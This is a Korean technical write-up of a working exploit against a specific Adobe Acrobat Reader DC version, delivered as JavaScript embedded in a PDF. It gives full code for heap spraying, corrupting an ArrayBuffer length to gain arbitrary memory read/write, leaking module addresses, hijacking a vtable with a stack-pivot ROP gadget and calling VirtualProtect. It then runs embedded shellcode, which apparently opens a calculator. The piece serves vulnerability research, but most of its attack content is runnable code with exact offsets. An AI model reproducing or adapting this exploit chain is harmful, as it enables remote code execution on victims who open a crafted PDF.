• CFG를 끈 상태로 취약한 버전의 Adobe로 Exploit Code가 포함된 PDF를 열면 Exploit이 진행된다.

    Exolit PDF & Exploit Code

  • 위 깃헙 링크에는 exploit에 사용한 JS code와 PDF 파일이 있다.

    • 위 링크의 PDF 파일에는 Exploit에 활용할 base URL과 Exploit을 진행할 PDF 내장 Java Script code가 들어있다.

  • 우회하는 보안 기법
    1. ASLR, Address space layout randomization
      1. Heap, Stack, Code 영역의 base 주소를 프로그램 실행할 때마다 랜덤하게 바꾸는 보호 기법이다.
      2. ASLR은 UserBlock Header에서 BitmapData를 유출시켜 r/w primitive를 얻으며 우회한다.

    2. DEP, Data Execution Prevention
      1. Stack, Heap과 같이 코드를 실행하지 않는 영역에서 명령이 수행되는 것을 막는 보호 기법이다.
      2. DEP는 Heap으로 Stack Pivoting을 진행하며 수행한다.
        1. Stack Pivoting은 Stack Pointer인 esp를 변조하며 공격자가 원하는 영역을 Stack으로 속이는 공격 기법이다.

  • 우회하지 않는 보안 기법
    1. CFG, Control Flow Guard
      1. 모든 간접 호출 직전에 목적지 주소가 컴파일 타임에 정한 안전한 주소인지 확인하는 과정을 추가해 프로그램 진행 중 예상치 못한 주소로 이동하는 것을 방지하는 보호 기법이다.
      2. 현재 Adobe 팀은 해당 기법을 우회하는 방법을 연구하고 있다.

  • 전체 Exploit 과정은 다음과 같다.
    1. Preparing Heap Layout
      1. R/W primitive를 얻기 위한 Heap Layout을 구성한다.
        1. R/W primitive를 base로 삼아 임의 주소의 메모리 공간에 접근해 데이터를 조작할 것이다.

      2. ArrayBuffer의 byte Length가 -1이 되면 해당 ArrayBuffer로 생성한 DataView object를 이용해 memory 전체에 접근이 가능하다.

      3. 할당된 ArrayBuffer 사이에 연결된 URL이 저장되도록 Heap Layout을 구성한다. ⇒ URL이 연결되는 과정에서 Root Cause로 인해 연결된 URL과 인접한 ArrayBuffer의 byteLength가 -1로 변조된다.

    2. Get Arbitrary R/W primitive
    3. Address Leak & Overwrite
    4. Preparing Stack Pivoting

1. Preparing Heap Layout

var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;

function createArrayBuffer(blocksize) {
  var arr = new ArrayBuffer(blocksize - 0x10);
  var u8 = new Uint8Array(arr);
  for (var i = 0; i < arr.byteLength; i++) {
    u8[i] = 0x42;
  }
  return arr;
}

// 1. byteLength를 덮어쓸 문자열을 저장할 LFH heap 공간 생성
var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
  arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}

// 2. string 사이에 relativeURL을 저장할 공간 지정
for (var i = 0x11; i < arrB.length; i += 10) {
  arrB[i] = null;
  arrB[i] = undefined;
}

// 3. 연결된 URL을 저장할 LFH heap 공간 생성
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
  arrA[i] = createArrayBuffer(strConUrlSize);
}

// 4. LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간 지정
for (var i = 0x11; i < arrA.length; i += 10) {
  arrA[i] = null;
  arrA[i] = undefined;
}

// Garbage Collection 진행 (URL이 들어갈 공간을 진짜로 비워주기 위해)
gc();
  • Preparing Heap Layout 단계는 다음의 과정을 거쳐 Heap Layout을 준비한다.
    1. byteLength를 덮어쓸 문자열이 저장될 LFH heap 공간을 생성한다.
      • relative URL 크기 (0x600 byte) 만큼의 길이를 가진 문자열을 여러 번 할당해 LFH를 활성화한다.
        • "%u????"는 뒤의 2 byte (????)가 Unicode로 encoding된다.
        • sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();는 Null Terminator 2byte 제외 (strRelUrlSize/2)-1개의 Unicode 문자를 나타낸다.
        • Null Terminator 2byte 제외 (strRelUrlSize/2)-1개의 Unicode 문자는 strRelUrlSize-2 byte 크기로, Null Terminator 2 byte 합치면 relative URL의 길이가 된다.

    2. string 사이에 relativeURL을 저장할 공간을 지정한다.

    3. 연결된 URL을 저장할 LFH heap 공간을 생성한다.
      • 연결된 URL 크기 (0x800 byte) 만큼 여러 번 ArrayBuffer를 할당해 LFH를 활성화한다.

      • 각 URL 및 heap header 크기는 다음과 같다.
        1. relative URL : null 문자 포함 0x600 byte
        2. base URL : null 문자 포함 0x200 byte
        3. ArrayBuffer header : 0x10 byte
        4. Heap metadata : 0x08 byte —
      • relative URL과 base URL은 다음과 같이 저장된다.
        • relative URL은 문자열 자체로 strings에 들어간다.
        • base URL은 ArrayBuffer로 선언한 영역에 복사되어 들어간다.

      • URL은 다음의 과정을 거쳐 연결된다.
        1. baseURL이 연결된 URL을 위한 heap 영역에 복사된다.
        2. baseURL 뒤에 relativeURl이 복사된다.
        3. Root Cause로 인해 relativeURL에 연결된 string이 relative URL 뒤에 복사된다.
          • string은 다음 ArrayBuffer의 byteLength를 0xFFFFFFFF로 덮어쓴다.

    4. LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간을 지정한다.

    image [그림 1] Preparing Heap Layout 모식도

2. Triggering the Vulnerability

function triggerHeapOverflow() {
    try {
        app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
    } catch(err) {}
}
  1. baseURL이 연결된 URL을 저장할 heap 공간 앞쪽에 복사된다.
    1. 이때, 해당 heap은 ArrayBuffer가 아니라 일반 heap이기 때문에 heap chunk metadata 뒤에 바로 복사 된다. (ArrayBuffer로 할당했을 때 생성된 ArrayBuffer header 위치부터)

  2. relative URL이 연결된 URL을 저장할 heap 공간 뒤쪽에 복사되면서, 연결된 ArrayBuffer의 byteLength 필드를 변조한다.
    • [그림 2]과 [그림 3]에서 Base는 baseURL, relative는 relativeURL을 의미한다.

image [그림 2] baseURL이 연결된 URL을 저장할 heap에 저장된 직후 heap과 해당 heap 이후의 heap(ArrayBuffer)의 모습

image [그림 3] URL 연결이 끝난 후 두 URL을 연결한 heap과 해당 heap 이후의 heap (ArrayBuffer)의 모습

3. Get Arbitrary R/W primitive

// 1. oob index에 접근해서 읽고 쓸 수 있는 상대적 r/w primitive를 구현
for (var i = 0; i < arrA.length; i++) {
    if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
      var temp = new DataView(arrA[i]);
      temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
    }

    if (arrA[i] != null && arrA[i].byteLength == -1) {
      var rw = new DataView(arrA[i]);
      break;
    }
}

// 2. oob base VA(= StartAddr) 획득 => 임의의 VA값 제어
if (rw) {
    curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
    BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18

    for (var i = 0; i < 0x30; i += 4) {
        BitMapBufOffset += 4;
        signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
        if (signature == 0xF0E0D0C0) {
            BitMapBufOffset -= 0xC;
            BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
            break;
        }
    }
    if (BitMapBuf) {
        StartAddr = BitMapBuf + BitMapBufOffset - 4;
    }
}

image [그림 4] r/w primitive를 구하는 과정 모식도

  • 임의 주소의 메모리 값을 제어하기 위해 다음의 과정을 거쳐 R/W primitive를 획득한다.
    1. 취약점 트리거 이후, 연결된 URL 직후 ArrayBuffer의 byteLength는 0xFFFF로 덮였다.


    2. ArrayBuffer의 byteLength를 -1로 덮는다.
      • 연결된 URL 직후 ArrayBuffer를 인식하고, 이와 연결된 ArrayBuffer의 byteLength를 0xFFFFFFFF (-1)로 변조

    3. byteLength가 -1로 변조된 ArrayBuffer에서 DataView object 설정해 R/W primitive를 생성한다.


    4. 2.에서 구한 ArrayBuffer에서 data 시작 지점(R/W primitive)의 VA 구한다.

      image [그림 5] UserBlock 구조체를 이용해 r/w primitive의 VA를 구하는 과정 모식도

      1. byteLength가 -1로 변조된 ArrayBuffer가 저장된 Heap chunk의 Heap chunk header에서 chunk number 획득한다.

      2. 동일 크기의 제일 첫 Heap chunk의 Heap chunk header 시작 지점과 R/W primitive 사이의 offset을 구한다.
        • 이때, 아래의 값이 필요하다.
          1. chunk number, chunk size
          2. Heap chunk의 Heap chunk header 크기 (0x08 byte)
          3. ArrayBuffer의 header 크기 (0x10 byte)
        • 위 값을 이용해 다음과 같이 offset을 계산할 수 있다.

          offset = chunk number * chunk size + 0x08 + 0x10

      3. R/W primitive와 LFH Userblock이 정한 signature (0xF0E0D0C0) 사이의 offset을 구한다.
        • r/w primitive에서 b.에서 구한 offset 만큼 떨어진 위치에 저장된 값이 0xF0E0D0C0이 될 때까지 4byte 씩 더하며 Signature를 찾는다.
          • offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m

      4. UserBlock 구조체의 BitmapData VA를 얻는다.
        • UserBlock 구조체의 구조에 따라 Pointer에 저장된 값(BitmapData 주소)을 획득
          • BusyBitmap.Buffer (Pointer)는 Signature에서 0x0C byte 더 높은 주소에 존재한다.
          • 이를 통해 r/w primitive로부터 BusyBitmap.Buffer 사이 offset은 다음과 같이 계산할 수 있다.

            offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c

          image [그림 6] UserBlock Header의 구조

          • &BitmapData = rw.getUint32(0xffffffff+0x1-offset, true)

      5. R/W primitive의 VA를 계산
        • 이를 위해 아래의 값이 필요하다.
          1. d.에서 구한 offset

            offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c

          2. d.에서 구한 VA
          3. Pointer와 BitmapData 사이 크기 (: Pointer의 크기, 0x04 byte)
        • 위 값을 이용해 R/W primitive의 VA, startAddr은 다음과 같이 구할 수 있다.
          • startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04

      6. R/W primtive의 VA로 모든 메모리 영역에 주소로 접근이 가능하다.

         function readUint32(dataView, readAddr) {
           var offsetAddr = readAddr - StartAddr;
           if (offsetAddr < 0) {
             offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
           }
           return dataView.getUint32(offsetAddr, true);
         }
                    
         function writeUint32(dataView, writeAddr, value) {
           var offsetAddr = writeAddr - StartAddr;
           if (offsetAddr < 0) {
             offsetAddr = offsetAddr + 0xFFFFFFFF + 1
           }
           return dataView.setUint32(offsetAddr, value, true);
         }
        
        • 위 두 함수는 각각 임의의 VA(readAddr, writeAddr)가 가리키는 값을 제어하는 데 도움을 주는 Helper Function이다.

        Helper Function의 동작 과정은 다음과 같다.

        1. 특정 메모리의 VA를 전달 받으면 r/w primitive VA와의 offset을 계산한다.
        2. r/w primitive의 DataView object로 1.에서 구한 offset 위치의 값을 제어한다.

          이를 통해 특정 메모리의 VA를 이용해 메모리 값을 제어할 수 있다.

4. Preparing Stack Pivoting

var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);

for (var i = 0; i < 0x8000; i++) {
    heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
  • 임의의 주소로 esp를 옮겨 해당 영역을 프로그램에게 Fake Stack이라 속이는 Stack Pivoting을 수행한다.

  • 옮겨진 esp가 있는 Fake Stack은 쓰기 권한이 존재해야 Stack이 자라며 쓰기 권한이 없어서 발생하는 에러를 막을 수 있다.
    이를 위해 Heap을 충분히 많이 할당해 옮겨진 esp가 있는 Fake Stack에 높은 확률로 쓰기 및 읽기 권한이 있도록 한다.

  • 항상 Fake Stack이 spray된 Heap 영역 (할당된 heap 영역)에 들어가는 것은 아니므로 항상 exploit이 성공하지는 않는다.

5. Address Leak & Overwrite ⇒ Hijacking Execution Flow

// 1. START Information Leak
// leak the base address of EScript
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;

// leak VirtualProtect address in kernel32.dll used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);

// leak address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// END Information Leak

// 2. Overwrite address of getProperty in vtable to address of ROP gadget
var offset = 0x1050AE;
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);

// 3. Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
	writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}

// 4. Setup new Stack
var newStackAddr = 0x5D000001;

writeUint32(rw, newStackAddr, VirtualProtectAddr);      // RIP 1
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18);  // RIP 2
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18);  //  Arg1 : 메모리 시작 주소
writeUint32(rw, newStackAddr + 0xC, shellcodesize);     //  Arg2 : 메모리 크기
writeUint32(rw, newStackAddr + 0x10, 0x40);             //  Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); //  Arg4 : 이전 보호 상수 저장할 포인터

// 5. try to access unknown property
// => call overwritten getProperty(ROP Gadget) in vtable
var foo = rw.execFlowHijack;
  • 중요 변수 혹은 값은 다음의 위치에 저장된다.
    1. ROP Gadget은 EScript.api 파일의 특정 부분으로 EScript.api의 base로부터 offset이 고정되어 있다. 21.005.20048.43252 버전의 Adobe Acrobat Reader DC에서 ROP Gadget의 offset은 0x1050AE이다.

      0x1050AE: mov esp, 0x5d000001; ret;

    2. 새로운 stack은 1. ROP Gadget으로 esp가 옮겨진 곳 : 0x5d000001으로 해당 영역이 spray된 Heap 영역 내부에 위치해야 exploit이 진행된다.

    3. 우리의 Exploit Code에서 shellcode는 r/w primitive의 위치 + 0x18에 위치시켰다.


  • 주소를 유출하고, 특정 메모리 값을 변조해 Exploit을 진행하는 과정은 다음과 같다.
    1. Exploit을 위한 Information Leak을 진행한다.
      1. EScript의 base 주소를 획득한다.
        1. JS Object - SpiderMonkey와 같이 JSObject (DataView, …)의 메모리 구조를 이용해 EScript 내부 어딘가의 주소를 획득한다.
        2. 1.에서 구한 주소에서 IDA로 확인한 offset (0x277548)을 빼 EScript의 base 주소를 얻는다.

      2. IDA로 EScript와 EScript가 사용하는 kernel32.dll의 VirtualProtect 함수의 offset (= 0x1B0060)을 찾는다.

        image [그림 7] idata segment에 저장된 VirtualProtect 함수 호출

        • VirtualProtect 함수는 Shellcode가 저장된 영역에 실행 권한을 부여하여 Shellcode가 정상적으로 실행될 수 있도록 한다.

        +) .idata 영역은 import table을 의미한다.

      3. kernel32.dll의 VirtualProtect 함수의 주소를 계산
        1. a.에서 구한 EScript의 base 주소와 offset을 이용해 EScript.api가 호출하는 VirtualProtect 함수의 주소를 얻는다.
        2. i.에서 구한 주소에 접근해 kernel32.dll의 VirtualProtect 함수의 VA를 구한다.

      4. vtable 주소 유출
        1. JS Object - SpiderMonkey와 같이 JSObject (DataView, …)의 메모리 구조를 이용해 EScript에서 사용하는 property map의 주소를 획득한다.

    2. property map을 변조 ROP Gadget으로 변조한다.
      1. rw DataView object의 property map에서 getProperty 함수의 주소를 ROP Gadget의 주소로 변조한다.

        ⇒ 이후 rw DataView object에서 getProperty 함수를 호출하면 getProperty 함수가 아닌 ROP Gadget를 호출한다.

    3. 쓰기 권한이 있는 곳에 shell code를 작성한다.
      1. shell code를 쓰기 권한이 있는 곳에 작성한다. 우리는 r/w primitive의 위치 + 0x18에 작성했다.

    4. 새로운 stack을 구성한다.
      1. 사용할 ROP Gadget이 esp를 0x5D000001로 옮기므로 해당 주소를 기준으로 새로운 stack이 설정된다.
      2. 새로운 Stack은 다음의 동작을 지원한다.

        image [그림 8] 새로운 Stack의 모습 (ROP Gadget 실행 직전)

        1. VirtualProtect 함수를 호출하며 Shellcode 영역에 실행 권한을 부여한다.

          image [그림 9] ret 명령이 실행되기 직전 (좌)과 VirtualProtect 함수가 실행되기 직전 (우)의 모습

        2. Shellcode를 실행한다.

          image [그림 10] VirtualProtect 함수 Prologue 직후 (좌)와 Shellcode 실행 직전 (우)의 모습

          • jmp eip로 VirtualProtect 함수를 호출하기 때문에 RIP를 추가로 저장하지 않는다.
          • 기존에 stack(을 가장한 heap)에 존재하던 StartAddr+0x18을 RIP로 생각한다.

    5. exploit trigger
      1. DataView의 존재하지 않는 Property (execFlowHijack)를 참조 시도해 getProperty 함수를 호출하며 exploit이 시작된다.

Scenario

  • 아래는 피해자가 위의 Exploit Code가 담긴 PDF 파일을 의심 없이 다운 받고
  • CFG가 꺼진 상태에서 취약한 버전의 Adobe Acrobat Reader DC로 다운 받은 파일을 열며
  • Exploit이 진행되어 계산기가 실행된 영상이다.

exploit.mp4